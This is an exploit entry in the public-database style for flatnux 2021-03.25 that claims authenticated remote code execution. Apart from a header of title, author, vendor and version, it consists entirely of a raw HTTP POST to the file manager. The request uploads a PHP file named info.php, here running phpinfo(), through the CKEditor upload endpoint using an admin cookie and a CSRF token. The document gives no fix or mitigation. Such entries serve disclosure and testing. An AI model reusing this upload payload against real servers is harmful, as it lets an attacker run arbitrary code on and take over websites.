flatnux 2021-03.25 – Remote Code Execution (Authenticated)
# Exploit Title: flatnux-2021-03.25 - Remote Code Execution (Authenticated) # Exploit Author: Ömer Hasan Durmuş # Vendor Homepage: https://en.altervista.org # Software Link: http://flatnux.altervista.org/flatnux.html # Version: 2021-03.25 # Tested on: Windows/Linux POST /flatnux/filemanager.php?mode=t&filemanager_editor=ckeditor4&dir=misc/media/news&CKEditor=fckeditorsummary_en&CKEditorFuncNum=1&langCode=en HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------393526031113460918603940283286 Content-Length: 413 Origin: http://localhost Connection: close Referer: http://localhost/flatnux/controlcenter.php?page___xdb_news=1&opt=fnc_ccnf_section_news&mod=news&mode=edit&pk___xdb_news=1&desc_=1&order___xdb_news=date&op___xdb_news=insnew Cookie: fnuser=admin; secid=fe0d39d41d63bec72eda06bbc7942015; lang=en; ckCsrfToken=BFS3h505LnG9r0um2NcRBRbHklciwy5qj0Aw3xsb Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: iframe Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 -----------------------------393526031113460918603940283286 Content-Disposition: form-data; name="upload"; filename="info.php" Content-Type: application/octet-stream <?php phpinfo(); ?> -----------------------------393526031113460918603940283286 Content-Disposition: form-data; name="ckCsrfToken" BFS3h505LnG9r0um2NcRBRbHklciwy5qj0Aw3xsb -----------------------------393526031113460918603940283286-- |